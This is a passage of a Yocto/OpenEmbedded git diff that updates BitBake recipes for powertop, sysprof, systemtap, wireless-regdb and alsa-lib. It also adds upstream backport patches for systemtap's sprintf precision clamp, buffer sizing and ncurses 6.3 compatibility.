-BUGTRACKER = "http://bugzilla.lesswatts.org/"
-DEPENDS = "ncurses libnl pciutils"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e"
-
-SRC_URI = "http://01.org/sites/default/files/downloads/powertop-v${PV}.tar.gz \
- file://0001-wakeup_xxx.h-include-limits.h.patch \
-"
-
-SRC_URI[md5sum] = "a69bd55901cf919cc564187402ea2c9c"
-SRC_URI[sha256sum] = "d3b7459eaba7d01c8841dd33a3b4d369416c01e9bd8951b0d88234cf18fe4a75"
-
-UPSTREAM_CHECK_URI = "https://01.org/powertop/downloads"
-UPSTREAM_CHECK_REGEX = "powertop-[v]?(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit autotools gettext pkgconfig
-
-S = "${WORKDIR}/${BPN}-v${PV}"
-
-# we do not want libncursesw if we can
-do_configure_prepend() {
- # configure.ac checks for delwin() in "ncursesw ncurses" so let's drop first one
- sed -i -e "s/ncursesw//g" ${S}/configure.ac
- mkdir -p ${B}/src/tuning/
-}
-
-inherit update-alternatives
-ALTERNATIVE_${PN} = "powertop"
-ALTERNATIVE_TARGET[powertop] = "${sbindir}/powertop"
-ALTERNATIVE_LINK_NAME[powertop] = "${sbindir}/powertop"
-ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-kernel/powertop/powertop_2.14.bb b/meta/recipes-kernel/powertop/powertop_2.14.bb
new file mode 100644
index 0000000000..a2f30040b5
--- /dev/null
+++ b/meta/recipes-kernel/powertop/powertop_2.14.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Power usage tool"
+DESCRIPTION = "Linux tool to diagnose issues with power consumption and power management."
+HOMEPAGE = "https://01.org/powertop/"
+BUGTRACKER = "https://app.devzing.com/powertopbugs/bugzilla"
+DEPENDS = "ncurses libnl pciutils autoconf-archive"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e"
+
+SRC_URI = "git://github.com/fenrus75/powertop;protocol=https;branch=master \
+ file://0001-wakeup_xxx.h-include-limits.h.patch \
+ file://0001-src-fix-compatibility-with-ncurses-6.3.patch \
+ "
+SRCREV = "52f022f9bbe6e060fba11701d657a8d9762702ba"
+
+S = "${WORKDIR}/git"
+
+LDFLAGS:append = " -pthread"
+
+inherit autotools gettext pkgconfig bash-completion
+
+inherit update-alternatives
+ALTERNATIVE:${PN} = "powertop"
+ALTERNATIVE_TARGET[powertop] = "${sbindir}/powertop"
+ALTERNATIVE_LINK_NAME[powertop] = "${sbindir}/powertop"
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-kernel/sysprof/files/0001-Do-not-build-anything-in-help-as-it-requires-itstool.patch b/meta/recipes-kernel/sysprof/files/0001-Do-not-build-anything-in-help-as-it-requires-itstool.patch
deleted file mode 100644
index ade51cf864..0000000000
--- a/meta/recipes-kernel/sysprof/files/0001-Do-not-build-anything-in-help-as-it-requires-itstool.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From d332b480257aa98b63d39c3c94896a111536f937 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 23 Aug 2017 18:38:26 +0300
-Subject: [PATCH 2/2] Do not build anything in help/ as it requires itstool.
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- meson.build | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index 3986273..ae2f65e 100644
---- a/meson.build
-+++ b/meson.build
-@@ -164,7 +164,6 @@ subdir('tools')
- subdir('tests')
-
- subdir('data')
--subdir('help')
- subdir('po')
-
- meson.add_install_script('build-aux/meson/post_install.sh')
---
-2.7.4
-
diff --git a/meta/recipes-kernel/sysprof/files/define-NT_GNU_BUILD_ID.patch b/meta/recipes-kernel/sysprof/files/define-NT_GNU_BUILD_ID.patch
deleted file mode 100644
index f75ddad43a..0000000000
--- a/meta/recipes-kernel/sysprof/files/define-NT_GNU_BUILD_ID.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-On uclibc elf.h does not have GNU extentions but we need this define
-so we define it locally if its not getting it from elf.h
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
-
-Index: git/elfparser.h
-===================================================================
---- git.orig/lib/util/elfparser.h 2011-07-16 18:57:41.000000000 -0700
-+++ git/lib/util/elfparser.h 2011-07-16 20:28:54.733829895 -0700
-@@ -17,6 +17,10 @@
- */
- #include <glib.h>
-
-+#ifndef NT_GNU_BUILD_ID
-+#define NT_GNU_BUILD_ID 3
-+#endif
-+
- typedef struct ElfSym ElfSym;
- typedef struct ElfParser ElfParser;
-
diff --git a/meta/recipes-kernel/sysprof/sysprof_3.32.0.bb b/meta/recipes-kernel/sysprof/sysprof_3.32.0.bb
deleted file mode 100644
index b92933806c..0000000000
--- a/meta/recipes-kernel/sysprof/sysprof_3.32.0.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "System-wide Performance Profiler for Linux"
-HOMEPAGE = "http://www.sysprof.com"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://src/sp-application.c;endline=17;md5=40e55577ef122c88fe20052acda64875"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase gettext systemd upstream-version-is-even gsettings
-
-DEPENDS = "glib-2.0 libxml2-native glib-2.0-native"
-
-SRC_URI[archive.md5sum] = "d1fa9ad216419d722770ca36713ad3af"
-SRC_URI[archive.sha256sum] = "fc22a69e468701c5ec9036e960c6273afa1ed6a89df1f889fed49417add5554d"
-SRC_URI += " \
- file://define-NT_GNU_BUILD_ID.patch \
- file://0001-Do-not-build-anything-in-help-as-it-requires-itstool.patch \
- "
-
-PACKAGECONFIG ?= "${@bb.utils.contains_any('DISTRO_FEATURES', '${GTK3DISTROFEATURES}', 'gtk', '', d)}"
-PACKAGECONFIG[gtk] = "-Denable_gtk=true,-Denable_gtk=false,gtk+3"
-PACKAGECONFIG[sysprofd] = "-Dwith_sysprofd=bundled,-Dwith_sysprofd=none,polkit"
-
-SOLIBS = ".so"
-FILES_SOLIBSDEV = ""
-
-SYSTEMD_SERVICE_${PN} = "${@bb.utils.contains('PACKAGECONFIG', 'sysprofd', 'sysprof2.service', '', d)}"
-
-FILES_${PN} += " \
- ${datadir}/dbus-1/system-services \
- ${datadir}/dbus-1/system.d \
- ${datadir}/metainfo \
- "
diff --git a/meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb b/meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb
index 46820ef489..2181e45a8d 100644
--- a/meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb
+++ b/meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb
@@ -1,17 +1,17 @@
SUMMARY = "UProbes kernel module for SystemTap"
-
+HOMEPAGE = "https://sourceware.org/systemtap/"
require systemtap_git.inc
DEPENDS = "systemtap virtual/kernel"
# On systems without CONFIG_UTRACE, this package is empty.
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
inherit module-base gettext
FILESEXTRAPATHS =. "${FILE_DIRNAME}/systemtap:"
-FILES_${PN} += "${datadir}/systemtap/runtime/uprobes"
+FILES:${PN} += "${datadir}/systemtap/runtime/uprobes"
# Compile and install the uprobes kernel module on machines with utrace
# support. Note that staprun expects it in the systemtap/runtime directory,
diff --git a/meta/recipes-kernel/systemtap/systemtap/0001-PR28778-gcc-warning-tweak-for-sprintf-precision-para.patch b/meta/recipes-kernel/systemtap/systemtap/0001-PR28778-gcc-warning-tweak-for-sprintf-precision-para.patch
new file mode 100644
index 0000000000..0801cb57ec
--- /dev/null
+++ b/meta/recipes-kernel/systemtap/systemtap/0001-PR28778-gcc-warning-tweak-for-sprintf-precision-para.patch
@@ -0,0 +1,45 @@
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From b0422e9e5a539164af75cddcaeb01bceca56bf12 Mon Sep 17 00:00:00 2001
+From: "Frank Ch. Eigler" <fche@redhat.com>
+Date: Thu, 13 Jan 2022 18:33:15 -0500
+Subject: [PATCH] PR28778: gcc warning tweak for sprintf precision parameter
+
+A precision=-1 sentinel value got interpreted as UINT_MAX in a
+context, leading to diagnostics like:
+
+/usr/share/systemtap/runtime/vsprintf.c:341:23: error: 'strnlen' specified bound 4294967295 may exceed maximum object size 2147483647 [-Werror=stringop-overread]
+
+Adding a clamp_t() around the parameter field to keep it limited to
+STP_BUFFER_SIZE (8K by default), which is apprx. the limit for a
+single printf.
+---
+ runtime/vsprintf.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/runtime/vsprintf.c b/runtime/vsprintf.c
+index cd31a938b..606f685e8 100644
+--- a/runtime/vsprintf.c
++++ b/runtime/vsprintf.c
+@@ -338,7 +338,7 @@ _stp_vsprint_memory(char * str, char * end, const char * ptr,
+ if (format == 's') {
+ if ((unsigned long)ptr < PAGE_SIZE)
+ ptr = "<NULL>";
+- len = strnlen(ptr, precision);
++ len = strnlen(ptr, clamp_t(size_t, precision, 0, STP_BUFFER_SIZE));
+ }
+ else if (precision > 0)
+ len = precision;
+@@ -410,7 +410,7 @@ _stp_vsprint_memory_size(const char * ptr, int width, int precision,
+ if (format == 's') {
+ if ((unsigned long)ptr < PAGE_SIZE)
+ ptr = "<NULL>";
+- len = strnlen(ptr, precision);
++ len = strnlen(ptr, clamp_t(size_t, precision, 0, STP_BUFFER_SIZE));
+ }
+ else if (precision > 0)
+ len = precision;
+--
+2.25.1
+
diff --git a/meta/recipes-kernel/systemtap/systemtap/0001-PR28804-tune-default-stap-s-buffer-size-on-small-RAM.patch b/meta/recipes-kernel/systemtap/systemtap/0001-PR28804-tune-default-stap-s-buffer-size-on-small-RAM.patch
new file mode 100644
index 0000000000..931310db53
--- /dev/null
+++ b/meta/recipes-kernel/systemtap/systemtap/0001-PR28804-tune-default-stap-s-buffer-size-on-small-RAM.patch
@@ -0,0 +1,84 @@
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+PR28804: tune default stap -s ## buffer size on small RAM machines
+
+Insert a forgotten division by num_online_cpu() to adjust downward the
+calculated bufsize. Tweak normal defaults back to 128 * 2 * 64K
+(16MB) per CPU, as the stap man page indicates. This may need further
+tweaking when balancing against staprun consumption performance, but
+at least we have the docs lined up with the code at the moment.
+
+PR28804: tune default stap -s ## buffer size on small RAM machines
+
+Use si_meminfo to limit default buffer size. Note in the man page
+that the "-s ##" parameter is per-CPU.
+
+diff --git a/man/stap.1.in b/man/stap.1.in
+index 55dbc2c93..285a27b34 100644
+--- a/man/stap.1.in
++++ b/man/stap.1.in
+@@ -239,8 +239,8 @@ and average amount of time spent in each probe-point. Also shows
+ the derivation for each probe-point.
+ .TP
+ .BI \-s " NUM"
+-Use NUM megabyte buffers for kernel-to-user data transfer. On a
+-multiprocessor in bulk mode, this is a per-processor amount.
++Use NUM megabyte buffers for kernel-to-user data transfer per processor.
++The default is 16MB, or less on smaller memory machines.
+ .TP
+ .BI \-I " DIR"
+ Add the given directory to the tapset search directory. See the
+diff --git a/runtime/transport/transport.c b/runtime/transport/transport.c
+index 18ecccea2..44afff814 100644
+--- a/runtime/transport/transport.c
++++ b/runtime/transport/transport.c
+@@ -72,8 +72,11 @@ static inline void _stp_unlock_inode(struct inode *inode);
+ #include "procfs.c"
+ #include "control.c"
+
+-static unsigned _stp_nsubbufs = 256;
+-static unsigned _stp_subbuf_size = 8 * STP_BUFFER_SIZE; /* 64K */
++/* set default buffer parameters. User may override these via stap -s #, and
++ the runtime may auto-shrink it on low memory machines too. */
++/* NB: Note default in man/stap.1.in */
++static unsigned _stp_nsubbufs = 128;
++static unsigned _stp_subbuf_size = 2 * STP_BUFFER_SIZE; /* 2 * 64K */
+
+ /* module parameters */
+ static int _stp_bufsize;
+@@ -602,17 +605,30 @@ static int _stp_transport_init(void)
+ _stp_need_kallsyms_stext = 0;
+ #endif
+
+- if (_stp_bufsize) {
+- unsigned size = _stp_bufsize * 1024 * 1024;
++ if (_stp_bufsize == 0) { // option not specified?
++ struct sysinfo si;
++ long _stp_bufsize_avail;
++ si_meminfo(&si);
++ _stp_bufsize_avail = (long)((si.freeram + si.bufferram) / 4 / num_online_cpus())
++ << PAGE_SHIFT; // limit to quarter of free ram total
++ if ((_stp_nsubbufs * _stp_subbuf_size * num_online_cpus()) > _stp_bufsize_avail) {
++ _stp_bufsize = max_t (int, 1, _stp_bufsize_avail / 1024 / 1024);
++ dbug_trans(1, "Shrinking default _stp_bufsize to %d MB/cpu due to low free memory\n", _stp_bufsize);
++ }
++ }
++
++ if (_stp_bufsize) { // overridden by user or by si_meminfo heuristic?
++ long size = _stp_bufsize * 1024 * 1024;
+ _stp_subbuf_size = 65536;
++ // bump up subbuf size from 64K to 1M to keep _stp_nsubbufs not too large
+ while (size / _stp_subbuf_size > 64 &&
+ _stp_subbuf_size < 1024 * 1024) {
+ _stp_subbuf_size <<= 1;
+ }
+ _stp_nsubbufs = size / _stp_subbuf_size;
+- dbug_trans(1, "Using %d subbufs of size %d\n", _stp_nsubbufs, _stp_subbuf_size);
+ }
+-
++ dbug_trans(1, "Using %d subbufs of size %d\n", _stp_nsubbufs, _stp_subbuf_size);
++
+ ret = _stp_transport_fs_init(THIS_MODULE->name);
+ if (ret)
+ goto err0;
diff --git a/meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch b/meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch
new file mode 100644
index 0000000000..1decf21593
--- /dev/null
+++ b/meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch
@@ -0,0 +1,61 @@
+From 191f528da19193d713d94ee252e2485efd9af4d3 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 25 Oct 2021 17:59:24 +0200
+Subject: [PATCH] staprun: address ncurses 6.3 failures
+
+Upstream-Status: Submitted [by email to smakarov@redhat.com,systemtap@sourceware.org]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ staprun/monitor.c | 24 ++++++++++++------------
+ 1 file changed, 12 insertions(+), 12 deletions(-)
+
+diff --git a/staprun/monitor.c b/staprun/monitor.c
+index 478634c09..f4fbfd686 100644
+--- a/staprun/monitor.c
++++ b/staprun/monitor.c
+@@ -448,12 +448,12 @@ void monitor_render(void)
+ if (active_window == 0)
+ wattron(status, A_BOLD);
+ wprintw(status, "\n%*s\t%*s\t%*s\t%*s\t%*s\t%*s\t%s\n",
+- width[p_index], HIGHLIGHT("index", p_index, comp_fn_index),
+- width[p_state], HIGHLIGHT("state", p_state, comp_fn_index),
+- width[p_hits], HIGHLIGHT("hits", p_hits, comp_fn_index),
+- width[p_min], HIGHLIGHT("min", p_min, comp_fn_index),
+- width[p_avg], HIGHLIGHT("avg", p_avg, comp_fn_index),
+- width[p_max], HIGHLIGHT("max", p_max, comp_fn_index),
++ (int)width[p_index], HIGHLIGHT("index", p_index, comp_fn_index),
++ (int)width[p_state], HIGHLIGHT("state", p_state, comp_fn_index),
++ (int)width[p_hits], HIGHLIGHT("hits", p_hits, comp_fn_index),
++ (int)width[p_min], HIGHLIGHT("min", p_min, comp_fn_index),
++ (int)width[p_avg], HIGHLIGHT("avg", p_avg, comp_fn_index),
++ (int)width[p_max], HIGHLIGHT("max", p_max, comp_fn_index),
+ HIGHLIGHT("name", p_name, comp_fn_index));
+ if (active_window == 0)
+ wattroff(status, A_BOLD);
+@@ -466,17 +466,17 @@ void monitor_render(void)
+ json_object *probe, *field;
+ probe = json_object_array_get_idx(jso_probe_list, i);
+ json_object_object_get_ex(probe, "index", &field);
+- wprintw(status, "%*s\t", width[p_index], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_index], json_object_get_string(field));
+ json_object_object_get_ex(probe, "state", &field);
+- wprintw(status, "%*s\t", width[p_state], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_state], json_object_get_string(field));
+ json_object_object_get_ex(probe, "hits", &field);
+- wprintw(status, "%*s\t", width[p_hits], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_hits], json_object_get_string(field));
+ json_object_object_get_ex(probe, "min", &field);
+- wprintw(status, "%*s\t", width[p_min], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_min], json_object_get_string(field));
+ json_object_object_get_ex(probe, "avg", &field);
+- wprintw(status, "%*s\t", width[p_avg], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_avg], json_object_get_string(field));
+ json_object_object_get_ex(probe, "max", &field);
+- wprintw(status, "%*s\t", width[p_max], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_max], json_object_get_string(field));
+ getyx(status, discard, cur_x);
+ json_object_object_get_ex(probe, "name", &field);
+ wprintw(status, "%.*s", max_cols-cur_x-1, json_object_get_string(field));
+--
+2.20.1
+
diff --git a/meta/recipes-kernel/systemtap/systemtap_git.bb b/meta/recipes-kernel/systemtap/systemtap_git.bb
index 1c9f2aed16..04f7e03ab5 100644
--- a/meta/recipes-kernel/systemtap/systemtap_git.bb
+++ b/meta/recipes-kernel/systemtap/systemtap_git.bb
@@ -1,9 +1,14 @@
SUMMARY = "Script-directed dynamic tracing and performance analysis tool for Linux"
+DESCRIPTION = "It provides free software infrastructure to simplify the \
+gathering of information about the running Linux system. This assists \
+diagnosis of a performance or functional problem."
HOMEPAGE = "https://sourceware.org/systemtap/"
require systemtap_git.inc
-SRC_URI += "file://0001-improve-reproducibility-for-c-compiling.patch"
+SRC_URI += "file://0001-improve-reproducibility-for-c-compiling.patch \
+ file://0001-staprun-address-ncurses-6.3-failures.patch \
+ "
DEPENDS = "elfutils"
@@ -19,39 +24,64 @@ STAP_DOCS ?= "--disable-docs --disable-publican --disable-refdocs"
EXTRA_OECONF += "${STAP_DOCS} "
PACKAGECONFIG ??= "translator sqlite monitor python3-probes"
-PACKAGECONFIG[translator] = "--enable-translator,--disable-translator,boost,python3-core bash perl"
+PACKAGECONFIG[translator] = "--enable-translator,--disable-translator,boost,bash"
PACKAGECONFIG[libvirt] = "--enable-libvirt,--disable-libvirt,libvirt"
PACKAGECONFIG[sqlite] = "--enable-sqlite,--disable-sqlite,sqlite3"
PACKAGECONFIG[monitor] = "--enable-monitor,--disable-monitor,ncurses json-c"
PACKAGECONFIG[python3-probes] = "--with-python3-probes,--without-python3-probes,python3-setuptools-native"
-inherit autotools gettext pkgconfig distutils3-base systemd
+inherit autotools gettext pkgconfig systemd
+inherit ${@bb.utils.contains('PACKAGECONFIG', 'python3-probes', 'setuptools3-base', '', d)}
+# exporter comes with python3-probes
PACKAGES =+ "${PN}-exporter"
-
-FILES_${PN}-exporter = "${sysconfdir}/stap-exporter/* \
+FILES:${PN}-exporter = "${sysconfdir}/stap-exporter/* \
${sysconfdir}/sysconfig/stap-exporter \
- ${systemd_unitdir}/system/stap-exporter.service \
+ ${systemd_system_unitdir}/stap-exporter.service \
${sbindir}/stap-exporter"
-
-RDEPENDS_${PN}-exporter = "${PN} python3-core python3-netclient"
-
-SYSTEMD_SERVICE_${PN}-exporter = "stap-exporter.service"
-
-do_configure_prepend () {
+RDEPENDS:${PN}-exporter = "${PN} python3-core python3-netclient"
+SYSTEMD_SERVICE:${PN}-exporter = "stap-exporter.service"
+
+PACKAGES =+ "${PN}-runtime"
+FILES:${PN}-runtime = "\
+ ${bindir}/staprun \
+ ${bindir}/stap-merge \
+ ${bindir}/stapsh \
+ ${libexecdir}/${BPN}/stapio \
+"
+RDEPENDS:${PN}:class-target += "${PN}-runtime"
+
+PACKAGES =+ "${PN}-examples"
+FILES:${PN}-examples = "${datadir}/${BPN}/examples/"
+RDEPENDS:${PN}-examples += "${PN}"
+
+# don't complain that some examples involve bash, perl, php...
+INSANE_SKIP:${PN}-examples += "file-rdeps"
+
+PACKAGES =+ "${PN}-python"
+FILES:${PN}-python += "\
+ ${bindir}/dtrace \
+ ${libdir}/python*/ \
+ ${libexecdir}/${BPN}/python/ \
+"
+# python material requires sdt headers
+RDEPENDS:${PN}-python += "${PN}-dev python3-core"
+INSANE_SKIP:${PN}-python += "dev-deps"
+
+do_configure:prepend () {
# Improve reproducibility for c++ object files
reltivepath="${@os.path.relpath(d.getVar('STAGING_INCDIR'), d.getVar('S'))}"
sed -i "s:@RELATIVE_STAGING_INCDIR@:$reltivepath:g" ${S}/stringtable.h
}
-do_install_append () {
+do_install:append () {
if [ ! -f ${D}${bindir}/stap ]; then
# translator disabled case, need to leave only minimal runtime
rm -rf ${D}${datadir}/${PN}
rm ${D}${libexecdir}/${PN}/stap-env
fi
- if [ ${D}${prefix}/lib != `dirname ${D}${systemd_unitdir}` ]; then
+ if [ -d ${D}${prefix}/lib/systemd -a ${D}${prefix}/lib != `dirname ${D}${systemd_unitdir}` ]; then
# Fix makefile hardcoded path assumptions for systemd (assumes $prefix)
# without usrmerge distro feature enabled
install -d `dirname ${D}${systemd_unitdir}`
@@ -60,7 +90,9 @@ do_install_append () {
fi
# Ensure correct ownership for files copied in
- chown root:root ${D}${sysconfdir}/stap-exporter/* -R
+ if [ -d ${D}${sysconfdir}/stap-exporter ]; then
+ chown root:root ${D}${sysconfdir}/stap-exporter/* -R
+ fi
}
BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-kernel/systemtap/systemtap_git.inc b/meta/recipes-kernel/systemtap/systemtap_git.inc
index abb2b3743b..5b5521b174 100644
--- a/meta/recipes-kernel/systemtap/systemtap_git.inc
+++ b/meta/recipes-kernel/systemtap/systemtap_git.inc
@@ -1,16 +1,18 @@
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-SRCREV = "57c9aca9f1ff32a6add10e02ecd33b7314fad499"
-PV = "4.1+git${SRCPV}"
+SRCREV = "2e9f2f6967e44ce2bf8f34932b5bdd738ece2161"
+PV = "4.6"
-SRC_URI = "git://sourceware.org/git/systemtap.git \
+SRC_URI = "git://sourceware.org/git/systemtap.git;branch=master \
file://0001-Do-not-let-configure-write-a-python-location-into-th.patch \
file://0001-Install-python-modules-to-correct-library-dir.patch \
file://0001-staprun-stapbpf-don-t-support-installing-a-non-root.patch \
+ file://0001-PR28778-gcc-warning-tweak-for-sprintf-precision-para.patch \
+ file://0001-PR28804-tune-default-stap-s-buffer-size-on-small-RAM.patch \
"
-COMPATIBLE_HOST = '(x86_64|i.86|powerpc|arm|aarch64|microblazeel|mips).*-linux'
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST = '(x86_64|i.86|powerpc|arm|aarch64|microblazeel|mips|riscv64).*-linux'
+COMPATIBLE_HOST:libc-musl = 'null'
S = "${WORKDIR}/git"
diff --git a/meta/recipes-kernel/wireless-regdb/wireless-regdb_2019.06.03.bb b/meta/recipes-kernel/wireless-regdb/wireless-regdb_2019.06.03.bb
deleted file mode 100644
index 9076d94601..0000000000
--- a/meta/recipes-kernel/wireless-regdb/wireless-regdb_2019.06.03.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Wireless Central Regulatory Domain Database"
-HOMEPAGE = "http://wireless.kernel.org/en/developers/Regulatory/CRDA"
-SECTION = "net"
-LICENSE = "ISC"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=07c4f6dea3845b02a18dc00c8c87699c"
-
-SRC_URI = "https://www.kernel.org/pub/software/network/${BPN}/${BP}.tar.xz"
-SRC_URI[md5sum] = "4b5ba3f089db7fdb7b9daae6a7c1f2cb"
-SRC_URI[sha256sum] = "cd917ed86b63ce8d93947979f1f18948f03a4ac0ad89ec25227b36ac00dc54bf"
-
-inherit bin_package allarch
-
-do_install() {
- install -d -m0755 ${D}${nonarch_libdir}/crda
- install -d -m0755 ${D}${sysconfdir}/wireless-regdb/pubkeys
- install -m 0644 regulatory.bin ${D}${nonarch_libdir}/crda/regulatory.bin
- install -m 0644 sforshee.key.pub.pem ${D}${sysconfdir}/wireless-regdb/pubkeys/sforshee.key.pub.pem
-
- install -m 0644 -D regulatory.db ${D}${nonarch_base_libdir}/firmware/regulatory.db
- install -m 0644 regulatory.db.p7s ${D}${nonarch_base_libdir}/firmware/regulatory.db.p7s
-}
-
-# Install static regulatory DB in /lib/firmware for kernel to load.
-# This requires Linux kernel >= v4.15.
-# For kernel <= v4.14, inherit the kernel_wireless_regdb.bbclass
-# (in meta-networking) in kernel's recipe.
-PACKAGES = "${PN}-static ${PN}"
-RCONFLICTS_${PN} = "${PN}-static"
-
-FILES_${PN}-static = " \
- ${nonarch_base_libdir}/firmware/regulatory.db \
- ${nonarch_base_libdir}/firmware/regulatory.db.p7s \
-"
-
-# Native users might want to use the source of regulatory DB.
-# This is for example used by Linux kernel <= v4.14 and
-# kernel_wireless_regdb.bbclass in meta-networking.
-do_install_append_class-native() {
- install -m 0644 -D db.txt ${D}${libdir}/crda/db.txt
-}
-
-RSUGGESTS_${PN} = "crda"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-kernel/wireless-regdb/wireless-regdb_2022.02.18.bb b/meta/recipes-kernel/wireless-regdb/wireless-regdb_2022.02.18.bb
new file mode 100644
index 0000000000..801a6f0584
--- /dev/null
+++ b/meta/recipes-kernel/wireless-regdb/wireless-regdb_2022.02.18.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Wireless Central Regulatory Domain Database"
+HOMEPAGE = "https://wireless.wiki.kernel.org/en/developers/regulatory/crda"
+SECTION = "net"
+LICENSE = "ISC"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=07c4f6dea3845b02a18dc00c8c87699c"
+
+SRC_URI = "https://www.kernel.org/pub/software/network/${BPN}/${BP}.tar.xz"
+SRC_URI[sha256sum] = "8828c25a4ee25020044004f57374bb9deac852809fad70f8d3d01770bf9ac97f"
+
+inherit bin_package allarch
+
+do_install() {
+ install -d -m0755 ${D}${nonarch_libdir}/crda
+ install -d -m0755 ${D}${sysconfdir}/wireless-regdb/pubkeys
+ install -m 0644 regulatory.bin ${D}${nonarch_libdir}/crda/regulatory.bin
+ install -m 0644 sforshee.key.pub.pem ${D}${sysconfdir}/wireless-regdb/pubkeys/sforshee.key.pub.pem
+
+ install -m 0644 -D regulatory.db ${D}${nonarch_base_libdir}/firmware/regulatory.db
+ install -m 0644 regulatory.db.p7s ${D}${nonarch_base_libdir}/firmware/regulatory.db.p7s
+}
+
+# Install static regulatory DB in /lib/firmware for kernel to load.
+# This requires Linux kernel >= v4.15.
+# For kernel <= v4.14, inherit the kernel_wireless_regdb.bbclass
+# (in meta-networking) in kernel's recipe.
+PACKAGES = "${PN}-static ${PN}"
+RCONFLICTS:${PN} = "${PN}-static"
+
+FILES:${PN}-static = " \
+ ${nonarch_base_libdir}/firmware/regulatory.db \
+ ${nonarch_base_libdir}/firmware/regulatory.db.p7s \
+"
+
+# Native users might want to use the source of regulatory DB.
+# This is for example used by Linux kernel <= v4.14 and
+# kernel_wireless_regdb.bbclass in meta-networking.
+do_install:append:class-native() {
+ install -m 0644 -D db.txt ${D}${libdir}/crda/db.txt
+}
+
+RSUGGESTS:${PN} = "crda"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-multimedia/alsa/alsa-lib_1.1.9.bb b/meta/recipes-multimedia/alsa/alsa-lib_1.1.9.bb
deleted file mode 100644
index 2c63ee7522..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-lib_1.1.9.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "ALSA sound library"
-HOMEPAGE = "http://www.alsa-project.org"
-BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
-SECTION = "libs/multimedia"
-LICENSE = "LGPLv2.1 & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
- file://src/socket.c;md5=dd1bc7f44872690224d89c1a9806e495;beginline=1;endline=26 \
- "
-
-SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
-SRC_URI[md5sum] = "e6d429dbdcfaa0f034d907fa6dc3735e"
-SRC_URI[sha256sum] = "488373aef5396682f3a411a6d064ae0ad196b9c96269d0bb912fbdeec94b994b"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF += " \
- ${@bb.utils.contains('TARGET_FPU', 'soft', '--with-softfloat', '', d)} \
- --disable-python \
-"
-
-PACKAGES =+ "alsa-server alsa-conf alsa-doc"
-
-FILES_alsa-server = "${bindir}/*"
-FILES_alsa-conf = "${datadir}/alsa/"
-
-RDEPENDS_${PN}_class-target = "alsa-conf"
-
-# upgrade path
-RPROVIDES_${PN} = "libasound"
-RREPLACES_${PN} = "libasound"
-RCONFLICTS_${PN} = "libasound"
-
-RPROVIDES_${PN}-dev = "alsa-dev"
-RREPLACES_${PN}-dev = "alsa-dev"
-RCONFLICTS_${PN}-dev = "alsa-dev"
-
-RPROVIDES_alsa-conf = "alsa-conf-base"
-RREPLACES_alsa-conf = "alsa-conf-base"
-RCONFLICTS_alsa-conf = "alsa-conf-base"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/alsa/alsa-lib_1.2.6.1.bb b/meta/recipes-multimedia/alsa/alsa-lib_1.2.6.1.bb
new file mode 100644
index 0000000000..ca6bedae97
--- /dev/null
